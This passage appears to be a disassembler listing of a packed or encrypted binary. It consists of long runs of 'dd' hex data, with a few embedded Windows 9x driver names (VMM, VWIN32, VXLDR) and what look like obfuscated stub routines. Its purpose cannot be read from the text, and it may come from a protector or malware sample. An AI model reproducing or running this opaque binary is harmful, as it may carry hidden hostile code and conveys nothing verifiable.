		dd 6C31B3AFh, 0E0259257h, 0B668AE31h, 0DDF86D30h, 647D9B5Ah
		dd 8B6D1CC5h, 0C4A64FF2h, 48FA4043h, 0C5DEFCA5h, 5ED38223h
		dd 0C8690B24h, 0BA7625E6h, 28933BBCh, 33B1C7FFh, 23925760h
		dd 44872FDEh, 0D1000000h, 4C2EF373h, 9E465C94h,	2D3924D2h
		dd 2F74E895h, 0FB78C180h, 0DB02C7DDh, 0D91E3F42h, 776D83BBh
		dd 353306CAh, 6CAC51Fh,	0D84C9133h, 656FE493h, 4Ah, 0DE4436CDh
		dd 886A0BB2h, 3ADF4AC7h, 54964EFDh, 49F8B93Bh, 0B8ABA44Ah
		dd 0C91B31B5h, 8D392518h, 2317CB48h, 8C0A2C9h, 4206E471h
		dd 7423677Dh, 0D1EF84B5h, 43C486BBh, 0C86D8A3Fh, 758B4325h
		dd 3307B36Fh, 547BA2E7h, 0AFD80BDFh, 0D2F081B8h, 42F365BCh
		dd 4C266B3Fh, 0B9CA2EB6h, 205CDD27h, 539BDA0Ah,	10377C3Eh
		dd 9EF5DCF2h, 0F63B4471h, 0F57EBB14h, 0D219C1D7h, 0E87F3E53h
		dd 0EAD7CA73h, 4EF976E3h, 67577C32h, 0C1067A29h, 3C900CA3h
		dd 63658500h, 7B3C1EC3h, 6E87A554h, 7BB52ACBh, 0E8B72D43h
		dd 5A9F3216h, 6809ACABh, 577C03A6h, 45CDCFF1h, 12CEh, 3EB36EF3h
		dd 67DC8523h, 9409A84Ch, 0BE33F279h, 0EA5F02A3h, 0BACB7A9h
		dd 4CD6F166h, 7D011C91h, 852843B8h, 0CB6767DCh,	46292FB5h
		dd 9A72273Fh, 24D36E76h, 81253E39h, 0CB6E2DDCh,	0B95088A6h
		dd 8A16C970h, 0A5A150E4h, 3F42498Ch, 0C9011F64h, 83650CB0h
		dd 568EA4C2h, 33063Ch, 690D0CBBh, 0DA0FA6C4h, 0A01DC033h
		dd 2183EFDh, 0EF1C2985h, 0EB0CB40h, 4DF0896Bh, 31D9E2A4h
		dd 0B3B5F247h, 12492Bh,	28D56E00h, 511098B3h, 763FC1DCh
		dd 9E47E601h, 0C4690E29h, 111C0E4Fh, 3954C96Ch,	5C77ECA9h
		dd 87A217DAh, 0C8C83DE4h, 29CE162Ch, 0D3883F46h, 0ED86B3FBh
		dd 0D978B9CFh, 33783F42h, 1DC7DD15h, 393306CDh,	0E2745F4h
		dd 3752C76Eh, 560EF0B1h, 49F8A53Dh, 8726A74Ah, 67D5B7DEh
		dd 0AE4E0046h, 0CCEAFA10h, 276C3306h, 0FDDF9A28h, 0EAA0153Ch
		dd 0EE83B582h, 34FD7B14h, 0CD25BC52h, 95183306h, 561F9D4Fh
		dd 7F26C6E1h, 94ADE59Dh, 0A96A4C15h, 6CD37ADh, 2BDA1F33h
		dd 86A4CD6Ch, 7823B74Eh, 9445707h, 0E0575E5Ah, 6A13927h
		dd 36E07670h, 8B08A2F9h, 92A569E6h, 1D36547Bh, 4B66DB9Ah
		dd 0CE2709A8h, 0D2E8066Bh, 3306AFB6h, 862BCBE8h, 0C9680BA4h
		dd 0D8FF26E7h, 571EA1BAh, 7D24C7E2h, 83F7429Bh,	0C41E776Dh
		dd 8944DF26h, 0C8E1C9DEh, 93B1D8FFh, 0E200247Dh, 0A567AC2Ch
		dd 0DFE66C10h, 4368F0F2h, 68000011h, 8EA91EDBh,	0B7D247EEh
		dd 0DCF76C35h, 41F945Dh, 849BE63h, 0C76A0B16h, 0EEAB3752h
		dd 15D85E79h, 43E285A0h, 1C32CECEh, 3F462AC8h, 7601D98Eh
		dd 3924D277h, 0A81DC066h, 0E9076CCDh, 461BBDD3h, 8EACF13Fh
		dd 0BD32F375h, 0C8B8B6E9h, 0B0718245h, 0BB000001h, 921687B3h
		dd 930F1D3h, 862FD2EBh,	7C34E3A4h, 0D2A33E54h, 0CB033924h
		dd 0D2677D93h, 0AAEF3924h, 24D336AEh, 2CDB2039h, 354B83A1h
		dd 3924D2AFh, 7E6662A7h, 0D83924D2h, 855F7593h,	0D13924D2h
		dd 54AD658Ch, 39A4EF82h, 38F089B3h, 9AB0E880h, 3924D34Ah
		dd 24C8C70Ch, 0B316CE7Dh, 0B5CEEC85h, 0CC8D6F36h, 4698651Dh
		dd 0DE061C54h, 783924D2h, 0ED14DD5Bh, 0C894823Eh, 3B4D84C5h
		dd 97000000h, 38F089B3h, 0DE061C54h, 783924D2h,	50668433h
		dd 3924D291h, 435C7ABFh, 5E1F01A0h, 8254F7AFh, 7830F173h
		dd 0CA0AA1DFh, 0B6E84A73h, 544F07B6h, 4AF9B83Bh, 665Ch
		dd 1C542A00h, 24D2DE06h, 263C7839h, 3924D2BEh, 2D2C5398h
		dd 7736E588h, 8F52D4C5h, 2B6FECADh, 8D818FE1h, 5460183Fh
		dd 0C061031Ch, 726E1DDEh, 3924D26Fh, 0FE9F1E37h, 0B294BB7Ah
		dd 90B742F1h, 0C0243A72h, 963924D2h, 54EAA251h,	0D2DE061Ch
		dd 606F3924h, 908DCA20h, 6B1A5FD3h, 0F1737B4Dh,	0EC13D658h
		dd 5407DF34h, 0C27F031Ch, 24D31EC6h, 0F4F33839h, 43FFAE73h
		dd 84C5C855h, 9A4A6098h, 313624D2h, 4405E78Eh, 34DC8BD0h
		dd 2Fh,	9685B37Eh, 1B9E6670h, 37F9DD5Ah, 54E098BFh, 24D2A33Eh
		dd 0B068AD39h, 0F5738254h, 0BD54742Ch, 395F542Fh, 0B548F706h
		dd 3384DDh, 0B3520000h,	5434EC85h, 24D2A33Eh, 0B76F9639h
		dd 0BD548254h, 0C9DFD5C2h, 3925791Bh, 3079F63Bh, 0FEFDAC31h
		dd 54FFB77Eh, 259EBD3Bh, 0F71165EDh, 2EC17097h,	0FE478456h
		dd 0B352FFFFh, 0D08D1586h, 3D538BA9h, 3924D2A7h, 9DBB6AAFh
		dd 461B4287h, 3FC1DE3Fh, 18314F76h, 95AECC95h, 0B0715312h
		dd 8CB18C01h, 7891C9E7h, 905133F6h, 89FFE5E1h, 12573303h
		dd 9958DBF4h, 747208EAh, 44330389h, 0B170F30Ch,	0DC5F0ECFh
		dd 19292796h, 536C87E7h, 692A0CD5h, 4212BAh, 765C0000h
		dd 3924D26Ah, 218D659h,	3924D2E2h, 11D05774h, 48476E2Fh
		dd 60D5FCA5h, 24D29948h, 0A4CD6C39h, 0B6354E86h, 0AAD19017h
		dd 0E98A07C8h, 0E3B761B8h, 1BCAC675h, 3D3F42F1h, 907983F8h
		dd 47000000h, 0CFED86B3h, 4305B8B9h, 5573B83Fh,	82F7BA3Ch
		dd 4022C767h, 32152E7h,	0BC9E47EAh, 182E4CFBh, 3927E9A5h
		dd 0E7001E63h, 122DA247h, 8EE7C96Ch, 92A8C6ABh,	33069F99h
		dd 0B0E8064Bh, 0C4114A9Ah, 0B2750326h, 0E1A17BE5h, 5B79286Dh
		dd 81F6BF42h, 6022C366h, 0E6053267h, 3F9D2527h,	6400000Eh
		dd 92AD22DFh, 0BBD64BEAh, 0E8037839h, 102BA041h, 1455CA6Fh
		dd 0D3961722h, 2BF435Eh, 29CC728Dh, 4F1699B4h, 283EDADAh
		dd 3F462DBCh, 730DE59Ah, 974F31F0h, 5417D400h, 0A251CE0Fh
		dd 436100A3h, 60DD982Ah, 0A51DA1BDh, 0AA8C3B30h, 0FE02629h
		dd 2C03CC78h, 3DEC4EAAh, 0DCFABB3Eh, 60568EA4h,	0BB003925h
		dd 0C1BF970Ch, 7A81C543h, 61h, 61C54C4h, 3924D2DEh, 0D32CB8CEh
		dd 0E52A3924h, 0BE7D2C71h, 0C2D8F67Bh, 3F42D60Fh, 0BE630421h
		dd 991CB597h, 0A54863D8h, 0CB621AFCh, 28D25278h, 38F7A6F7h
		dd 4C159801h, 6482A96Ah, 2608A94Bh, 8298B665h, 39240AEFh
		dd 1DC46481h, 0B516243Bh, 18106242h, 15ACCAF1h,	7711CC61h
		dd 51C675BCh, 2CF5737Dh, 0AC71F50Eh, 0CF6D88FDh, 3DAE4426h
		dd 9C3924D3h, 7E2571Ah,	1FC66932h, 37557C3Dh, 0A342E6FFh
		dd 555100C1h, 3F461B48h, 0E51D3B80h, 0D8872ACCh, 30B657D9h
		dd 2B521395h, 0B6BB8F04h, 8245C8B8h, 13371h, 87B3BB00h
		dd 0BD5436EEh, 0D7133013h, 4C6A19ADh, 25A1AB36h, 9E64FB39h
		dd 21C06870h, 0E5C403A4h, 0CC84AB36h, 0A4EF8254h, 0F089B339h
		dd 0B34E8038h, 9834EC85h, 7E3BC7E0h, 0A7BDDB9Ch, 3924D33Dh
		dd 6D25D419h, 0C5C8C8B6h, 578184h, 0B3CB0000h, 0CF8A1889h
		dd 0E7052CEDh, 0A98B2ACEh, 0A045E9E8h, 1C5439F1h, 0DBC6503h
		dd 24D2D011h, 833B8039h, 0F6BB3B54h, 86A45314h,	30F173B4h
		dd 61C5478h, 3924D2DEh,	0FBB63378h, 0C4A26B9Ah,	0C6049746h
		dd 0EB8C09ADh, 7CA36446h, 57DAD99Ah, 8427DF8Eh,	1Fh, 0F089B352h
		dd 56BD5438h, 8F10D42Dh, 0E3F917C6h, 3925AEFEh,	545C143Bh
		dd 30F17382h, 0B607DF78h, 84C5C8C8h, 0A74EF20Bh, 0AD5504C5h
		dd 2Fh,	0EC85B3F7h, 0A33E5434h,	0AD3924D2h, 8254B068h
		dd 742CF573h, 5369A1DFh, 3924D291h, 19D180C5h, 3584h, 0C255EC00h
		dd 0D4423068h, 5415CD7Ch, 13F5BC3Bh, 54E4A352h,	3E54651Dh
		dd 3924D2A3h, 54B76F96h, 2ACBE41Ch, 0E8E4A587h,	3924D2FCh
		dd 0AE66155Ah, 742CF573h, 0C48407DFh, 52FFFFFEh, 8D1586B3h
		dd 538BA9D0h, 0D2DF051Bh, 0B7CD3924h, 3924D32Dh, 2B70E429h
		dd 3B343AEh, 8332046Eh,	46204287h, 7B99DE3Fh, 0A116DF62h
		dd 832A77C6h, 0C23F00E2h, 3800AA18h, 0B1CFF64Eh, 6BF20B1Ah
		dd 8B2D7553h, 204708EAh, 0A73D5371h, 5330359h, 0C7A948ECh
		dd 0C3EA8B2Eh, 0B863B46h, 0A352A38Eh, 0B3CCEA2Fh, 50159A2Fh
		dd 0D7864729h, 82243DF5h, 0B23430DFh, 633032Bh,	39522369h
		dd 490AECA9h, 77E0DE9Ah, 0A2387E7h, 6A12C164h, 1Eh, 0EFB6354Eh
		dd 0E59D4C0Dh, 24D26A76h, 0FD65939h, 9051D8F1h,	0C93EEDAEh
		dd 0ACBFh, 86B38D00h, 8CB9CFEDh, 8C3F42FDh, 0D2BCE6Fh
		dd 6A8EDF7h, 0FD246933h, 0A520C6DFh, 4AF78B02h,	5980A768h
		dd 8025C9E4h, 3AC4CB62h, 0A806D23Eh, 7BBE17F9h,	0FFC2D8F6h
		dd 11392773h, 1195AECCh, 0C18C91F6h, 1D4406A8h,	44E98DA8h
		dd 43300962h, 0C9680C25h, 45E6FC1Ah, 9F330631h,	80233C5Ah
		dd 4AAC3E1h, 33DB261h, 0C1A342EAh, 0AF525100h, 367D4406h
		dd 4749E604h, 0AC9BFh, 0A855EE00h, 0D1901833h, 0F6BF415Ch
		dd 1EC76681h, 44E98EA9h, 919C8ECFh, 0B9D449ECh,	0DCF76C29h
		dd 722975Ah, 4848BD64h,	314E96ACh, 53083F46h, 31F0737Bh
		dd 7233B64Fh, 0C60C0F90h, 5BD09114h, 0C5D08583h, 563E81h
		dd 8B220000h, 29C30947h, 5810BFDDh, 0CFED86B3h,	9B495F97h
		dd 0BB3924D2h, 6ACBC776h, 8E3F42E7h, 6F122B49h,	7423E4C6h
		dd 0B876F992h, 6BF42A2h, 0A8CF1433h, 58E0F933h,	0BE588CA2h
		dd 0B9FE3306h, 40EFB092h, 15F7BE41h, 0D6F47DBCh, 24E985C0h
		dd 0F7769339h, 0BE92072Eh, 0A0D6F573h, 1209D096h, 0F12BA0C7h
		dd 1E41A3B9h, 0D0153925h, 1DC82521h, 91153925h,	0CCAE73F4h
		dd 0ADC6E40Bh, 41B66508h, 809ED366h, 46663E6Ah,	3D5BA03Fh
		dd 0C3E18024h, 7F6104AAh, 789F46E6h, 0B68054C9h, 8245C8B8h
		dd 16071h, 0B93C5500h, 0D2F9EB01h, 185D38A4h, 27BDD3F1h
		dd 2F38A4D3h, 0B3833BEAh, 5436EE87h, 24D2A33Eh,	14979639h
		dd 83AA6B4Dh, 61C54CBh,	3924D2DEh, 66843378h, 39A4EF94h
		dd 0E3F989B3h, 3924D301h, 31E91055h, 85B34E80h,	469834ECh
		dd 0F6BB3B54h, 0C89D8B47h, 345684C5h, 0A0000000h, 38F089B3h
		dd 0D2A33E54h, 6C033924h, 449BCC2Fh, 71E59410h,	8254742Ch
		dd 7830F173h, 4F8407DFh, 0EC000000h, 0D3469EB4h, 0E7853924h
		dd 279B5C3Eh, 547B33E2h, 0D2DE061Ch, 33783924h,	277C584h
		dd 0E41C544Ah, 8B872ACBh, 3924D259h, 0D09B8FDh,	3924D2D4h
		dd 54863E65h, 3EBC851Ch, 1995530Ah, 22D1941Ah, 0DAF1736Ah
		dd 0C5F07678h, 9C547B4Ch, 0C8B607DFh, 8184C5C8h, 2Fh, 1485B3CBh
		dd 0EFA7CE93h, 0D2A33E54h, 6C033924h, 84E3A067h, 1B438EE0h
		dd 7D1C5BC3h, 0EE33A756h, 73825436h, 0DF742CF5h, 558407h
		dd 54520000h, 0EF0D92BDh, 25A10BD9h, 89064B39h,	29D04604h
		dd 0BEE5A688h, 89E8500Fh, 0BC3B54D1h, 0F02846F5h, 0E19051D7h
		dd 24D2FCE5h, 20C03D39h, 298D682Ch, 0F5EF0523h,	61392525h
		dd 543DF51Ch, 0BC65031Ch, 0F573550Dh, 0D2C51F35h, 74913924h
		dd 0DF062DF4h, 8407DF27h, 0FFFFFE97h, 0ED86B352h, 6C31B6CFh
		dd 0D2AC384Eh, 65AA3924h, 478298B6h, 2F3F461Bh,	8A03E1F7h
		dd 0E533303h, 88A6EB5Fh, 0B025CC6Fh, 0F51368D5h, 8A3DA7BDh
		dd 0D4193303h, 38CF0725h, 35EF2F7Bh, 0B7CDEB20h, 3303BC2Dh
		dd 3935E429h, 3303BBABh, 9D44E801h, 17357AEEh, 0CBB7AFEh
		dd 0D4DB722Ah, 4BF68C0Dh, 482BA869h, 38F98075h,	7DDF311h
		dd 4F33038Bh, 875F5B0Ah, 3133038Ah, 0E1DF4E94h,	9A87E718h
		dd 21h,	0D26A76E4h, 0D6593924h,	0EC909A0Fh, 0F8000000h
		dd 0C74429C0h, 0F99E4352h, 2512E7FDh, 7B2A6F39h, 1586B3C3h
		dd 8BA9D08Dh
		dd 0D353CA72h, 446B2C0Eh, 263F7795h, 322EDD80h,	3F42DA8Bh
		dd 1D32BAD3h, 2B80F002h, 0BC9EC54Bh, 93D84CFBh,	17DA5C75h
		dd 42E787A2h, 41320760h, 4B80D23h, 1FB63928h, 0E084F884h
		dd 0B303C441h, 6582F6A5h, 0DBF920DDh, 533D0744h, 0DB8AA7C6h
		dd 5F02A4BDh, 0DC852841h, 199DB82Dh, 0F9F3654h,	0C58C3BFFh
		dd 39E5FF15h, 2C712CE5h, 1B745605h, 2137551Eh, 3306810Ah
		dd 5E7795DAh, 0C59916DFh, 8A19C51Eh, 0BAF210BFh, 0F300A723h
		dd 2EDD051Bh, 70E58C2Fh, 5113D255h, 0E6051902h,	2F42CACCh
		dd 54000007h, 829D12CFh, 0ABC63BFAh, 0D8F36809h, 1B9051h
		dd 445BA7Fh, 0C3660712h, 0F2AF334Eh, 19DC627Dh,	3FE689A4h
		dd 182ECACAh, 3F4634CCh, 54FDD58Ah, 0F258F6BDh,	0AF2DAA4Bh
		dd 76F6F575h, 7E0100AFh, 0FE8099B7h, 0E998593Bh, 2ACB6E07h
		dd 7EC4C748h, 6A8829CCh, 0EEA084D3h, 0B74B16BDh, 0BF34E30Ah
		dd 0C56EE9E7h, 39A281h,	0B3EC0000h, 0B9CFED86h,	3F42DBA4h
		dd 38ACC2FAh, 1E3306CBh, 71B62AD9h, 0CAE7F98Fh,	28C53306h
		dd 0C3D911E2h, 3306CB21h, 0CD941835h, 54032AEBh, 0E3DC9A98h
		dd 3D5387h, 0B39D0000h,	0B9CFED86h, 3F42F1C4h, 596429C4h
		dd 63BC832h, 0C164FDDFh, 0ED90AB20h, 30096244h,	0AE0F2543h
		dd 0B03924A3h, 73750319h, 0C877C2C1h, 63FF1854h, 172ABAB6h
		dd 0E72C2CE8h, 54774BC0h, 4AF9B83Bh, 0A594DBB0h, 6076AECCh
		dd 3924D284h, 0C0DE8DD2h, 2BCE6F88h, 0DDD98849h, 3F42F344h
		dd 0B56D478Ch, 0AA59189Ch, 7CFDD9AEh, 0B0C178F3h, 2EF77992h
		dd 0BEDC8B4Ch, 0AE6C29A8h, 0E0C20778h, 0A3C1B287h, 909E4D8Dh
		dd 92B0F572h, 4E30F579h, 8B596F8Dh, 0CB66542Ch,	0A0B9D786h
		dd 0C4DF541Dh, 71738921h, 0E566542Ch, 0B6B779A0h, 382594BCh
		dd 5D8AE36h, 64FD0000h,	832944B9h, 0AE526DE2h, 0F0779207h
		dd 1CA1BC31h, 0B1A3E459h, 0E75C01A6h, 168B36CCh, 41B67BFBh
		dd 6DE28326h, 29BBD16Dh, 2D3F4636h, 0F073A078h,	7E974F31h
		dd 8C8B3AFBh, 942B49E8h, 0B6001060h, 54C97822h,	95B3C079h
		dd 8534FD7Ch, 0D745167h, 5FA43F47h, 0A140E47Dh,	450B80DFh
		dd 0C44C4EF2h, 572h, 0DA4F0A97h, 37839BFh, 289D44E8h, 52C76E0Dh
		dd 7EF3B637h, 0BF404B3Dh, 0D86A85FAh, 0E98DA81Dh, 31B4CF44h
		dd 5FFBFB70h, 46359B49h, 2E06BB3Fh, 0CFED86B3h,	461C08B9h
		dd 0B6CC083Fh, 33038A2Eh, 0DABCE328h, 34F6BF41h, 0F2441A45h
		dd 1FF77F81h, 44000005h, 728D02BFh, 9BB62BCAh, 0C8E35819h
		dd 0F00B8021h, 0F435AA4Fh, 0B376F702h, 0E29F233Eh, 9AC526Dh
		dd 2FF67994h, 81EBABAh,	3F4636DCh, 0B3EDC57Ah, 97CFED86h
		dd 3B3AFB7Eh, 5617F9B8h, 1C12ABA7h, 0B1F63F46h,	0F3B236CFh
		dd 441B5A31h, 0A9294F2h, 4CAh, 32A752EFh, 5BD09117h, 80F5BC40h
		dd 0AA1FC665h, 0D64BEE8Fh, 1798A395h, 20C2DD52h, 41E50075h
		dd 690C279Ch, 0B75353C8h, 463743A1h, 865E133Fh,	4F31F073h
		dd 907233B6h, 17C90F0Ch, 18AFCD94h, 3F797E11h, 0D94EFD53h
		dd 1CA23BBEh, 0A9BF7759h, 3924F83Bh, 88AFD61Bh,	0F7D110A6h
		dd 4E6C3924h, 27AF43B7h, 0EE9D0643h, 0F073256Bh, 3113D259h
		dd 0F9D44970h, 0DD153340h, 98A0A846h, 94EF61Ah,	0B6D24F1Ch
		dd 89853468h, 3F46D42Ch, 316987CCh, 0EACC9518h,	0E3822A29h
		dd 92914001h, 0E977F0EFh, 381C78A3h, 0FE819C11h, 3DFC5537h
		dd 391BC65Ch, 1D335178h, 3926046Bh, 0A93B5189h,	32CE372h
		dd 0E372F7EDh, 0A61A5F2Ch, 368EE461h, 8D140FBAh, 7256ADEh
		dd 9C2BB9CFh, 0E62B2CE3h, 7D001937h, 81243FB4h,	94A5FEE0h
		dd 95BC6507h, 1BDA5E77h, 9BFDE7FDh, 14592CE3h, 70314765h
		dd 0B63301AFh, 0A7561F9Dh, 592CEE33h, 0A5E60618h, 3B81BA3h
		dd 44DD0000h, 63092499h, 8E324DC2h, 0D05772E7h,	0FC819C11h
		dd 9183C439h, 0C73CE186h, 0F66B16ACh, 21965BDBh, 4DC26306h
		dd 499BB14Dh, 0D3F4638h, 0F0738058h, 33B64F31h,	1722FD72h
		dd 1239FC82h, 0F07BDEF4h, 80C53F42h, 0B5D8089Eh, 37D43306h
		dd 0ED8482F1h, 203D87E3h, 87000000h, 0CFED86B3h, 42FE4CB9h
		dd 25074C3Fh, 6A7518Fh,	78BE5B33h, 0E4000B09h, 0F1C487h
		dd 730E0000h, 974F31F0h, 98A43000h, 9C4BBA85h, 3755189Dh
		dd 0F9DB9A1Eh, 0EA78938h, 4FE8CA6Bh, 50E705ACh,	6C0BF56Dh
		dd 0A522E3C5h, 0CF7EA65Ah, 3DE1425Ah, 0C5683925h, 0ADC6FE1Ch
		dd 0C5866815h, 25361BC9h, 47F63B39h, 6D34B7D2h,	859BD38Bh
		dd 3925355Fh, 4403B2F7h, 485E7CF5h, 3F4342B1h, 346C8ACFh
		dd 728C61Eh, 9C4B9033h,	2EED4C27h, 343AF20Ah, 31E434C1h
		dd 0B3D62DAAh, 0AFC5E30Ah, 392840D2h, 0C2A23BEh, 177C8968h
		dd 34B9D2F0h, 5CE1FC71h, 9E40D799h, 0C0EEC27h, 2A184h
		dd 803DC600h, 0A948F00Bh, 0CE971934h, 0F6BF3E59h, 1CC16681h
		dd 697466A7h, 91AC21C4h, 0B4CF44F1h, 0DFFA6F32h, 2020955Ch
		dd 38766E84h, 2BE03F46h, 2FF27353h, 3FC0D911h, 0DBD7987Ah
		dd 3924D309h, 0E459084Dh, 0A7F26C9h, 628298D0h,	0F43924D2h
		dd 0B34800AFh, 0B9CFED86h, 3F42FE4Ch, 43E289A2h, 1AFCA544h
		dd 9B36AA59h, 9F7894DAh, 583A61DEh, 3DE487A0h, 714E928Eh
		dd 0C15E3306h, 370E0C7Bh, 0CAC787E4h, 0AB000000h, 64875D73h
		dd 93CF3306h, 664677Dh,	83AAEF33h, 0F0731CD4h, 0C5DB1331h
		dd 3924D31Fh, 0D75F237h, 0AAF3D9Eh, 0BA48635h, 4FE5C76Ah
		dd 392548D4h, 0DC081E56h, 7A39253Fh, 0E3011735h, 7339253Fh
		dd 0FD807F2Eh, 0EE85BF34h, 7634EED4h, 0F57978F2h, 0FF828130h
		dd 3EFB5436h, 78FE1735h, 6312D3B5h, 57CA2F45h, 71B63F43h
		dd 5B1821FCh, 0E6FB273Dh, 92D73927h, 20DA5B74h,	0E694DA0Ah
		dd 10377C2Ch, 3AFF809Bh, 27249978h, 1BA3A5ECh, 18Ah, 0F26712AFh
		dd 1B9051D7h, 40B57C00h, 6ADF8625h, 960BAE4Fh, 0D7586355h
		dd 0E0829D12h, 1A5C035h, 29CCE75Ch, 77131388h, 46398361h
		dd 461ED33Fh, 0BA2FF273h, 0E0551C9Fh, 0DBF0730Ch, 3E3C664Eh
		dd 3B5980FAh, 0F6D89D22h, 0BA48635h, 7954C968h,	3EA6BCC0h
		dd 183924FEh, 788EACD3h, 3F4305E5h, 0E7001E63h,	0C0234B40h
		dd 566B5A1Fh, 0DD8C4D2Fh, 0E47B65FBh, 0A0483306h, 0FEE08529h
		dd 9B34163Dh, 1072541Dh, 0D9EFC90Fh, 8987F63Ch,	4287E3BEh
		dd 2Ch,	0ED86B38Ch, 0E02CB9CFh,	0E72C3F42h, 0C5716F05h
		dd 0AD523306h, 0EE8D2608h, 0D6F76547h, 3A0B690h, 0E1504EBDh
		dd 210987E3h, 53000000h, 24D26B76h, 7C9F9A39h, 0CA3DFB0Dh
		dd 89A7CE7Bh, 0F1B03851h, 0A39F4E0Fh, 3F43FDBEh, 4D84D92h
		dd 0FAA73B54h, 0E9A85718h, 0EF052350h, 3F42FA1Eh, 8120C7E0h
		dd 8A39FC82h, 59EFD116h, 3306AB87h, 0D3428825h,	87E3F7D5h
		dd 1D8Eh, 1C54D800h, 24D2DE06h,	84337839h, 24D25888h, 0E58EAB39h
		dd 0B0B1C7h, 5BA03F43h,	86B312E6h, 0A4B9CFEDh, 0A43F461Ch
		dd 8428415Fh, 0B34C2EDDh, 3A537130h, 0F910F2B3h, 3D40240Ah
		dd 9D4C735Ah, 0F36A0D28h, 6D8BB26Fh, 2A0CD554h,	6749EC91h
		dd 0EED07FA6h, 5E772858h, 0ADF3F0B1h, 44B978FBh, 61078629h
		dd 1EB799C0h, 86F4D69Fh, 0CA6D1F65h, 189BB62Bh,	3EF7759h
		dd 0BD000000h, 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h
		dd 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h
		dd 55003D1Fh, 0C5815D54h, 4
		dd 8704ED83h, 535C242Ch, 0C381E389h, 4,	4EB81h,	1C870000h
		dd 0C895C24h, 2CE06824h, 3C890000h, 4A586824h, 0C8B0621h
		dd 4C48324h, 4EC81h, 24890000h,	24048124h, 4, 0CB89535Fh
		dd 8B085F89h, 0C481241Ch, 4, 52243C8Bh,	0C281E289h, 4
		dd 4C281h, 14870000h, 0C8B5C24h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 15A5E95Ch, 70FCFFFDh, 0CFABA57Bh,	22AD77h
		dd 0B31CF4D4h, 6973B80Bh, 0C5030621h, 0A354E0FFh, 0F1443DD3h
		dd 35B00B93h, 93DA6C51h, 0C94E57E3h, 0CDAE08AAh, 0BE3D63B5h
		dd 5787368Dh, 2B4568F5h, 0F11950F6h, 0AEE4CBFh,	0EEAD7C06h
		dd 33132FBEh, 0BA282A5Dh, 5DEC1B4Ch, 6A171254h,	39275BC6h
		dd 2C6256D8h, 36291232h, 0A0B408B9h, 2DF81AD6h,	87A6452Fh
		dd 39522710h, 56B9351Dh, 17D31930h, 0B0620434h,	425D7F99h
		dd 300079F9h, 0C0F90E8Bh, 0AE82873h, 0D6000000h, 3BE9396Bh
		dd 350C2524h, 0D38B669Ah, 72DC805Fh, 5B31C781h,	0FE90000h
		dd 0C000000h, 0FB044ED0h, 0EE84894Fh, 72C64472h, 6801ECh
		dd 0F000000h, 535BF3BFh, 1F0C8B58h, 9880Fh, 66600000h
		dd 0F5F7EB9h, 8161F0B7h, 3CCC0C1h, 81B3B418h, 5ADEA7C1h
		dd 0F7B70F0Eh, 2CE2F181h, 0B70F5925h, 1F0C89D7h, 14E8h
		dd 97E1DE00h, 6CF91A13h, 6897104h, 8964C7D7h, 6D66F2D3h
		dd 5AF48A42h, 47DAF281h, 0EB8321BFh, 8E904h, 4E7B0000h
		dd 3328807Dh, 0FB8152E1h, 0FFFFA594h, 16850Fh, 0F2810000h
		dd 6E6E80DEh, 1BE9h, 8D1F3D00h,	2B5E176Dh, 1AE22958h, 73DA8166h
		dd 0FF73E988h, 874FFFFh, 5866F78Bh, 464934EBh, 52474D53h
		dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
		dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
		dd 45E90000h, 60000008h, 0E9DA8B66h, 0Ah, 21CED6CEh, 628077ACh
		dd 60618FFCh, 11860Fh, 50600000h, 8E95Bh, 48980000h, 5D64DB66h
		dd 0C76106E2h, 216B7E85h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 800FBD6Eh
		dd 1, 6AC68BF5h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F85C351h, 6AD8B7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 42C17EC3h
		dd 666060C0h, 4F67E281h, 0AE2EF681h, 0F610DA7h,	48Ch, 9DB86600h
		dd 0E8C161F6h, 50006A10h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0A287C417h, 0FE9h, 22408800h
		dd 3FE76415h, 878F4A7Bh, 8093CF87h, 8C8C166h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7C35545h, 0ABF2366Fh
		dd 10E962h, 0D53A0000h,	0D4E07CE6h, 166FE714h, 54E63DC7h
		dd 8E0F4AB0h, 18h, 128D0Fh, 0DE90000h, 38000000h, 4C429571h
		dd 735510F3h, 0E1F08075h, 6B828589h, 6A0621h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B7225AC3h
		dd 0FCA6EA0Eh, 0C166F513h, 8B6008CBh, 0FAB70FF7h, 40FB8361h
		dd 73850Fh, 14E90000h, 5D000000h, 154AB9BBh, 0AF4668FCh
		dd 0A08C7017h, 0B294BF1Ch, 0FC67B5A9h, 6B56BD8Dh, 6A0621h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 62D159C3h, 8B60F5A3h, 0EE960D7h, 0EE000000h,	0F4673A6Dh
		dd 402B2601h, 0FAF6E1AFh, 61616018h, 1B4E961h, 0F600000h
		dd 58Ch, 0D6816600h, 0F576D85h,	615FD7B7h, 0DFB83F9h, 8D850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 9BD1D0C3h, 8D5F7721h, 216B5EBDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 1F48A7B6h, 41868D2Eh, 0CE9D3E9h, 68000000h, 7AB7D7Bh
		dd 6367BFA5h, 0E90D9125h, 136h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 5C35242h, 60CDC5F9h, 0F98B6652h
		dd 0D881665Fh, 836172F7h, 850F01FBh, 74h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0F0C35141h, 5E966h
		dd 460C0000h, 8DB604DBh, 216B66BDh, 12E906h, 83FE0000h
		dd 7E37B9FEh, 0F6E2AD37h, 2B50245h, 0A58A98C5h,	0B9E9h
